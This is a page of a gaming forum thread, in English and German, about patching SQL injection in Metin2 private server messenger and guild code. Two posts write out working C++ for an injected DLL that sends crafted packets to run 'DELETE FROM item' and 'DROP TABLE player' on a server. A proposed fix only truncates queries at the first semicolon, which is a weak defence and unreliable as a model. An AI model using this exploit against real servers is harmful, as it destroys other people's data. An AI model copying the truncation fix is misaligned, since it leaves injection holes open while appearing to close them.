Register for your free account! | Forgot your password?

Go Back   elitepvpers > Popular Games > Metin2 > Metin2 Private Server > Metin2 PServer Guides & Strategies
You last visited: Today at 22:47

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[FIX][C++] SQL Injection in Messenger and Guild

Discussion on [FIX][C++] SQL Injection in Messenger and Guild within the Metin2 PServer Guides & Strategies forum part of the Metin2 Private Server category.

Reply
 
Old 12/15/2015, 16:19   #16
 
Marius Sorin's Avatar
 
elite*gold: 265
Join Date: Oct 2010
Posts: 50
Received Thanks: 5
I readed the whole code but not tested it. So, thats why i ask. Cuz sometimes is necesary to test a fix.
Marius Sorin is offline  
Old 12/15/2015, 16:36   #17
 
elite*gold: 0
Join Date: May 2011
Posts: 37
Received Thanks: 48
Quote:
Originally Posted by Seחsi View Post
Make an update and use the source. There's no reason to keep developing on this old revision.
I can pay for this .dif
IkoLollo is offline  
Old 12/15/2015, 17:02   #18
 
miguelmig's Avatar
 
elite*gold: 0
Join Date: Dec 2009
Posts: 113
Received Thanks: 44
There's still an injection in /messenger_auth I believe. The parameters are not checked.
miguelmig is offline  
Old 12/15/2015, 17:14   #19
 
miguelmig's Avatar
 
elite*gold: 0
Join Date: Dec 2009
Posts: 113
Received Thanks: 44
CRC32 hashes can still be faked
miguelmig is offline  
Old 12/15/2015, 22:10   #20
 
Salep's Avatar
 
elite*gold: 0
Join Date: Oct 2015
Posts: 118
Received Thanks: 32
Wurde das eigentlich mal auf den Offiziellen getestet? Würde mich mal interessieren.
Salep is offline  
Thanks
1 User
Old 12/16/2015, 10:45   #21
 
elite*gold: 300
Join Date: Apr 2013
Posts: 3,234
Received Thanks: 1,205
Quote:
Originally Posted by Salep View Post
Wurde das eigentlich mal auf den Offiziellen getestet? Würde mich mal interessieren.
Jetzt ist es bestimmt fixed
#Saiirex is offline  
Old 12/16/2015, 10:57   #22
 
elite*gold: 0
Join Date: Dec 2015
Posts: 3
Received Thanks: 0
Quote:
Originally Posted by #Saiirex View Post
Jetzt ist es bestimmt fixxed
Genau hack dich in ein GF Server ein, dann biste paar Jahre im Knast
Tomsan is offline  
Old 12/16/2015, 11:09   #23
 
elite*gold: 300
Join Date: Apr 2013
Posts: 3,234
Received Thanks: 1,205
Quote:
Originally Posted by Tomsan View Post
Genau hack dich in ein GF Server ein, dann biste paar Jahre im Knast
Die Leute, die den Source geklaut haben, sind auch frei .

Waren zwar nicht die GF Server, but who cares?
#Saiirex is offline  
Old 12/16/2015, 19:47   #24
 
TheSLZ's Avatar
 
elite*gold: 0
Join Date: Jul 2014
Posts: 47
Received Thanks: 76
Thanks

MartPwnS's way is enough?

And in original source there is no
if (companion.empty())
return;

just:
if (companion.size() == 0)
return;

should i change it to the first one?
TheSLZ is offline  
Old 12/16/2015, 20:48   #25

 
elite*gold: 192
Join Date: Aug 2009
Posts: 5,797
Received Thanks: 3,141
Quote:
Originally Posted by #Saiirex View Post
Die Leute, die den Source geklaut haben, sind auch frei .

Waren zwar nicht die GF Server, but who cares?
der src wurde auch nicht von der GF geklaut.
Wenn du den GF server down machst, liegt eine direkte Geschäftsschädigung vor ganz zu schweigen von Cyberkriminalität .. da versteht der deutsche Staat gar kein Spaß.
[-Lee-] is offline  
Old 12/16/2015, 21:12   #26

 
Aze /..'s Avatar
 
elite*gold: 220
Join Date: Oct 2011
Posts: 7,369
Received Thanks: 7,610
Quote:
Originally Posted by [-Lee-] View Post
der src wurde auch nicht von der GF geklaut.
Wenn du den GF server down machst, liegt eine direkte Geschäftsschädigung vor ganz zu schweigen von Cyberkriminalität .. da versteht der deutsche Staat gar kein Spaß.
***, ist leider so. Um es jetzt mal ein wenig inhuman auszudrücken: Vergewaltige lieber jemanden, dafür sitzt man nicht so lange.

B2T: Auch wenn ich der englischen Sprache mächtig bin, verstehe ich trotzdem nichts, was nun genau die Ursache für diese Lücke war und was genau nun der Fix macht. Bin leider nicht bewandert in Sachen C++. Könnte es mir einer mal kurz schildern?
Aze /.. is offline  
Old 12/16/2015, 21:15   #27
 
Kyramu's Avatar
 
elite*gold: 0
Join Date: Dec 2015
Posts: 78
Received Thanks: 62
Du kannst durch diese Lücke auf die Player zugreifen weil dort die Gilden gesaved werden.
Dadurch kannst du dir zugriff auf die Player.sql verschaffen, jedoch nur auf die Player.

Bei mir wurde die komplette Player mit dieser Sicherheitslücke gelöscht.
Kyramu is offline  
Thanks
2 Users
Old 12/17/2015, 23:04   #28
 
elite*gold: 0
Join Date: Dec 2013
Posts: 26
Received Thanks: 0
Dowload SQL injector ? Ii test server...
matalaj is offline  
Old 12/18/2015, 01:05   #29
 
VegaS ♆'s Avatar
 
elite*gold: 10
Join Date: Jul 2013
Posts: 93
Received Thanks: 416
Quote:
Originally Posted by matalaj View Post
Dowload SQL injector ? Ii test server...
You can make a mix / loading DLL type which looks like this :

Code:
void Myfunction()
{
 PyRun_SimpleString("import net");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DELETE FROM item; --\", \"ss\")");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DROP TABLE player; --\", \"ss\")");
 MessageBoxA(NULL, "[SQL-Injection] Queries sent correctly!", "*** Exploit (Skype: sacadatt.amazon) ***", NULL);
}

Then to the fun begins:

Code:
void start_fuck_off()
{
 C:
 if (GetAsyncKeyState(VK_F5)) Myfunction();
 goto C;
}

Code:
BOOL APIENTRY DLLSQL_INJECT(HMODUL mod, DWORD  reason, LPVOID re)
{
 FILE *f = fopen("Exploit.Readme.txt", "w");
 fputs("Damn, you just fucked a server.\n\
 Do not use it to harm a server!\n\nUse only to test for you if you fixed it!\n", f);
 fclose(f);
 if (reason == DLL_PROCESS_ATTACH) CreateThread(NULL, NULL, LPTHREAD_START_ROUTINE(start_fuck_off), NULL, NULL, NULL);
 return TRUE;
}
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
VegaS ♆ is offline  
Thanks
1 User
Old 12/18/2015, 03:01   #30
 
elite*gold: 0
Join Date: May 2009
Posts: 95
Received Thanks: 95
Quote:
Originally Posted by [SGA]Vegas View Post
You can make a mix / loading DLL type which looks like this :

Code:
void Myfunction_VegaS()
{
 PyRun_SimpleString("import net");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DELETE FROM item; --\", \"ss\")");
 PyRun_SimpleString("net.SendMessengerRemovePacket(\"';DROP TABLE player; --\", \"ss\")");
 MessageBoxA(NULL, "[SQL-Injection] Queries sent correctly!", "*** Killer Exploit (Skype: sacadatt.amazon) ***", NULL);
}

Then to the fun begins:

Code:
void start_fuck_off()
{
 C:
 if (GetAsyncKeyState(VK_F5)) Myfunction_VegaS();
 goto C;
}

Code:
BOOL APIENTRY DLLSQL_INJECT(HMODUL mod, DWORD  reason, LPVOID re)
{
 FILE *f = fopen("Exploit.Readme.txt", "w");
 fputs("Damn, you just fucked a server.\n\
 Do not use it to harm a server!\n\nUse only to test for you if you fixed it!\n", f);
 fclose(f);
 if (reason == DLL_PROCESS_ATTACH) CreateThread(NULL, NULL, LPTHREAD_START_ROUTINE(start_fuck_off), NULL, NULL, NULL);
 return TRUE;
}

I would prefer a solution like this:

Code:
SQLMsg * DBManager::DirectQuery(const char * c_pszFormat, ...)
{
    char szQuery[4096];
    va_list args;
    va_start(args, c_pszFormat);
    vsnprintf(szQuery, sizeof(szQuery), c_pszFormat, args);
    va_end(args);
    std::string sQuery(szQuery);
    return m_sql_direct.DirectQuery(sQuery.substr(0, sQuery.find_first_of(";") == -1 ? sQuery.length() : sQuery.find_first_of(";")).c_str());
}
and

Code:
void DBManager::Query(const char * c_pszFormat, ...)
{
    char szQuery[4096];
    va_list args;

    va_start(args, c_pszFormat);
    vsnprintf(szQuery, sizeof(szQuery), c_pszFormat, args);
    va_end(args);
    std::string sQuery(szQuery);

    m_sql.AsyncQuery(sQuery.substr(0,sQuery.find_first_of(";")==-1?sQuery.length(): sQuery.find_first_of(";")).c_str());
}
Lol this is my code from ...
deco016 is offline  
Thanks
2 Users
Reply


Similar Threads Similar Threads
Small Help needed to fix the icons on messenger/guild
08/08/2015 - Flyff Private Server - 2 Replies
Hello guys, i just need a little help or guide on how do i fix the icons for each job in the friend list or messenger list. cause my messenger looks like this : Messenger Icons Error i need to correct the icons same with the guild view Guild Icon Error wrong icons ... Thanks in advance
[B) What´s App Messenger
12/14/2012 - elite*gold Trading - 20 Replies
Hey Leute ich biete euch hiermit einen Code für den iTunes US Store an! Dieser Code beinhaltet den Download von dem What´s App Messenger! Sofortkauf 30 e*G! Ich wiederhole, dieser Code funktioniert nur auf dem US iTunes Store!
Messenger Bug ?
07/19/2012 - Combat Arms - 2 Replies
Leute bei Combat Arms geht der Messenger garnicht und mit dem Clan kann ich garnicht sprechen alle sind Offline ist das nur bei mir oder bei vielen ? Und wie bekommt mann das wieder zurück ?
Tcp Messenger
06/21/2010 - AutoIt - 8 Replies
Hi wieder mal ein Problem:rtfm: Möchte nun Von meinem Tcp,Client was zu meinem Tcp,Server senden eine Nahricht möchte diese aber nicht immer im code ändern habe dazu eine Inputbox gemacht möchte nun das der text der in der inputbox ist gesendet wird mein code sieht bisher so aus TCPStartup() $verbindung = TCPConnect("127.0.0.1", 4322) $message=Inputbox("Msg Transmitter","Bitte Gib deine Nahricht ein.") If $verbindung = -1 Then MsgBox(16, "Error", "Die Verbindung zum Server...



All times are GMT +2. The time now is 22:47.


Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2024 elitepvpers All Rights Reserved.